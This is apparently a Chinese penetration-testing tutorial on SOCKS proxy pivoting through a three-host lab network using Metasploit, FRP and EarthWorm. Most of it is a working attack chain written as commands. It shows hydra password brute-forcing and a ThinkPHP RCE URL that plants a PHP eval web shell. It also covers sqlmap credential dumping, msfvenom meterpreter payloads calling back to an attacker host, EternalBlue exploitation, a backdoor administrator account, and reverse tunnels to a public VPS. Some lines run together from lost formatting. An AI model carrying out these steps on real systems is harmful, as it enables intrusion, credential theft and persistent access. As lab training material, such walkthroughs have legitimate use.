文章目录

Socks代理实战
- Socks代理简介
- Socks代理工具
- Socks代理实战-MSF
- - 渗透场景
  - Target1
  - Target2
  - Target3
- Socks代理实战-FRP
- - Target1
  - Target2
  - Target3
- Socks代理实战-EW
- - EW使用简介
  - EW正反向Socks代理
  - EW创建一层Socks代理
  - 二级级联本地Socks
  - EW创建二层Socks代理
  - 三级级联的本地Socks
  - EW创建三层Socks代理

Socks代理实战

Socks代理简介

什么是socks

SOCKS是一种网络传输协议，主要用于客户端与外网服务器之间通讯的中间传递。

根据OSI模型，SOCKS是会话层的协议，位于表示层与传输层之间。

使用TCP协议传输数据，因而不提供如传递 ICMP 信息之类的网络层网关服务。

osi参考模型：https://www.cnblogs.com/qishui/p/5428938.html

现今大多组织的网络架构，利用网络防火墙将组织内部的网络结构与外部网络如 Internet 有效地隔离开来。这些防火墙系统通常以应用层网关的形式工作在网络之间，提供受控的 TELNET、FTP、SMTP等的接入。

而SOCKS则提供一个通用框架来使这些协议安全透明地穿过防火墙。

什么是socks代理

被代理端与代理服务器通过SOCKS4/5代理协议进行通讯；
SOCKS4是对HTTP代理协议的加强，它不仅代理HTTP协议，而是对所有向外的连接进行代理，没有协议限制；
SOCKS5对前一版本做了进一步扩展，增加了支持UDP代理和身份验证功能；
SOCKS5采用地址解析方案（addressing scheme）以支持域名和 IPV6 地址解析。

使用Socks代理：

SOCKS服务器的IP地址
SOCKS服务所在端口
SOCKS服务是否需要身份验证

Socks代理工具

EarthWorm

http://rootkiter.com/EarthWorm/

EW 是一套便携式的网络穿透工具，具有 SOCKS v5服务架设
和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。

https://github.com/fatedier/frp

frp 是一个可用于内网穿透的高性能的反向代理应用

ProxyChains

http://proxychains.sourceforge.net/

关于ProxyChains工具：

它是一个代理工具。
最新版本：3.1
专用OS：Linux和其他Unices。
允许TCP和DNS通过代理隧道。
支持HTTP、SOCKS4和SOCKS5代理服务器。
不同的代理类型可以混合在同一链中。
代理链：用户定义的代理链列表。

可用性：

通过代理服务器运行任何程序。
从限制性防火墙后面访问互联网。
隐藏你的IP
通过代理服务器运行SSH、telnet、wget、ftp、apt、vnc、nmap。
5, 从外部通过反向代理访问内联网(192.168../10..)。

Other

reDuh：https://github.com/sensepost/reDuh
reGeorg：https://github.com/sensepost/reGeorg
sSocks：https://sourceforge.net/projects/ssocks/
SocksCap64：http://www.sockscap64.com
Proxifier：https://www.proxifier.com/

Socks代理实战-MSF

渗透场景

Target1

信息收集

nmap -A -T4 -p- --script vuln 192.168.78.66开放端口：21/22/80/111/888/3306/8888
操作系统：Linux

分析利用

21 / 22端口：弱口令爆破
hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.195 ftp
hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.195 ssh3306端口：不允许远程IP连接8888端口：宝塔登录页面80端口：Thinkphp v5.0存在远程命令执行漏洞，通过命令执行写入一句话，可GetShell。/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[c]);?>

主机信息收集

ifconfig：发现存在192.168.22.0/24的内网网段。探测此网段存活主机，发现存活主机 192.168.22.22

#!/bin/bash
for num in {1..254};doip=192.168.22.$numping -c1 $ip >/dev/null 2>&1if [ $? = 0 ];thenecho "$ip" Okelseecho "$ip" Nofidone

@echo off
chcp 65001>nul
echo 正在扫描。。。。。。
for /L %%P in (1,1,254) do @ping -w 10 -n 1 192.168.78.%%P | findstr TTL= >>ip.txt
echo 扫描结束，按任意键结束窗口！
pause>nul

建立Socks代理

反弹target1的shell到msf

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.117 lport=6666 R > mingy.phpmsfvenom -p  linux/x64/meterpreter_reverse_tcp lhost=192.168.78.117 lport=6667 -f elf > mingy.elf

chmod 777 mingy.elf
./mingy.elf

获得target1的meterpreter shell后，添加到192.168.22网段的路由

run autoroute -s 192.168.22.0/24
run autoroute -p

使用msf的socks5模块建立socks服务,并配置proxychains代理

msf5 > use auxiliary/server/socks5
msf5 auxiliary(server/socks5) > run

vim /etc/proxychains.confsocks5 127.0.0.1 1080

Target2

信息收集

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.22开放端口：21/22/80/3306/8888
操作系统：linux

分析利用

21 / 22 / 3306端口：弱口令爆破
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 mysql8888端口：宝塔登录页面80端口：bagecms（sql注入，任意文件编辑漏洞）proxychains curl 192.168.22.22<!-- Hint：SQL注入点：/index.php?r=vul&keyword=1>proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword --dbs[*] bagecms
[*] information_schema
[*] testproxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump得到后台登录账号密码为：admin/123qwe
后台登录地址：http://192.168.22.22/index.php?r=admini/public/login任意文件编辑漏洞getshell：
http://192.168.22.22/index.php

配置Socks代理连接Shell

主机信息收集

ifconfig：发现存在192.168.33.0/24的内网网段。探测此网段存活主机：发现存活主机192.168.33.33

建立socks代理

反弹target2的shell到msf

msfvenom -p  linux/x64/shell_bind_tcp lport=6668 -f elf > mingy2.elf

chmod 777 mingy2.elf
./mingy2.elf

反弹回target2的meterpreter shell之后，添加到33网段的路由

run autoroute -s 192.168.33.0/24
run autoroute -p

Target3

信息收集

proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33开放端口：135/139/445/3389
操作系统：Windows

分析利用

445端口：ms17-010检测use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.33.33
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit[+] 192.168.33.33:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.33.33:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed利用use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploituse exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set LPORT 4445
msf5 exploit(windows/smb/ms17_010_psexec) > exploit -j

3389端口：远程桌面连接添加管理员用户：
net user test test123 /add
net localgroup administrators test /add查看管理员用户：
net localgroup administrators

Socks代理实战-FRP

Target1

VPS：47.101.214.95

./frps -c frps_vps.ini

cat frps_vps.ini[common]
bind_port = 7000

Target1：192.168.1.195

./frpc -c frpc_1.ini

cat frpc_1.ini[common]
server_addr = 47.101.214.85
server_port = 7000[socks5]
type = tcp
plugin = socks5
remote_port = 10088

Target2

VPS：47.101.214.95

./frps -c frps_vps.ini

cat frps_vps.ini[common]
bind_port = 7000

Target1：192.168.1.195

./frpc -c frpc_11.ini

cat frpc_11.ini[common]
server_addr = 47.101.214.85
server_port = 7000[socks5_1]
type = tcp
remote_port = 10088
plugin = socks5[socks5_to_33]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090

./frps -c frps_1.ini

cat frps_1.ini[common]
bind_port = 7000

Target2：192.168.33.22

./frpc -c frpc_2.ini

cat frpc_2.ini[common]
server_addr = 192.168.22.11
server_port = 7000[socks5_2]
type = tcp
plugin = socks5
remote_port = 10089

Target3

VPS：47.101.214.95

./frps -c frps_vps.ini

cat frps_vps.ini[common]
bind_port = 7000

Target1：192.168.1.195

./frpc -c frpc_11.ini

cat frpc_11.ini[common]
server_addr = 47.101.214.85
server_port = 7000[socks5_1]
type = tcp
remote_port = 10088
plugin = socks5[socks5_to_33]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090

./frps -c frps_1.ini

cat frps_1.ini[common]
bind_port = 7000

Target2：192.168.33.22

./frpc -c frpc_2.ini

cat frpc_2.ini[common]
server_addr = 192.168.22.11
server_port = 7000[socks5_2]
type = tcp
plugin = socks5
remote_port = 10089[socks5_to_333]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090

./frps -c frps_3.ini

cat frps_3.ini[common]
bind_port = 7000

Socks代理实战-EW

EW使用简介

./ew_xxx ([-选项] [数值])*其他选项：
Eg：./ew -s ssocksd -h-s 状态设置函数。你可以从以下选项：ssocksd，rcsocks，rssocks，lcx_listen，lcx_tran，lcx_slave
-l 为服务启动打开一个端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本，通过添加-s参数，可以看到更详细的帮助信息。
-a about 展示有关页面的内容
-v version 显示版本。
-t usetime 设置超时的毫秒。 默认值是1000。

6种模式

ssocksd - 正向代理
rcsocks - 反向代理1，流量转发
rssocks - 反向代理2，反弹socks5
lcx_listen - 反向代理1，流量转发
lcx_tran - 端口转发
lcx_slave - 端口绑定

EW正反向Socks代理

正反向 SOCKS v5 服务器

正向

./ew -s ssocksd -l 1888

反向（反弹）

VPS:./ew_vps -s rcsocks -l 1888 -e 7788

Target1：./ew1 -s rssocks -d 47.101.214.85 -e 7788

EW创建一层Socks代理

VPS:./ew_vps -s rcsocks -l 1888 -e 7788

target1：.ew1 -s rssocks -d 47.101.214.85 -e 7788

二级级联本地Socks

lcx_tran 的用法

正向：

Target：
./ew -s ssocksd -l 9999VPS:
./ew -s lcx_tran -l 1888 -f 1.1.1.1 -g 9999

反向：

VPS:./ew_vps -s rcsocks -l 1888 -e 7788Target1：./ew1 -s rssocks -d 47.101.214.85 -e 7788

lcx_listen、lcx_slave 的用法

VPS:
./ew -s lcx_listen -l 1080 -e 8888Target2：
./ew -s ssocksd -l 9999Target1
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

EW创建二层Socks代理

VPS：47.101.214.85./ew_vps -s lcx_listen -l 10088 -e 888

Target2：192.168.22.22./ew2 -s ssocksd -l 9999

Target1：192.168.1.195./ew1 -s lcx_slave -d 47.101.214.85 -e 888 -f 192.168.22.22 -g 9999

三级级联的本地Socks

./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

EW创建三层Socks代理

VPS：47.101.214.85

./ew_vps -s rcsocks -l 10090 -e 6666

Target2

./ew2 -s lcx_listen -l 7778 -e 7777

Target3

./ew_for_win.exe -s rssocks -d 192.168.33.22 -e 7777

Target1

./ew1 -s lcx_slave -d 47.101.214.85 -e 6666 -f 192.168.22.22 -g 7778

出处

socks代理实战

文章目录

Socks代理实战

Socks代理简介

Socks代理工具

Socks代理实战-MSF

渗透场景

Target1

Target2

Target3

Socks代理实战-FRP

Target1

Target2

Target3

Socks代理实战-EW

EW使用简介

EW正反向Socks代理

EW创建一层Socks代理

二级级联本地Socks

EW创建二层Socks代理

三级级联的本地Socks

EW创建三层Socks代理

相关文章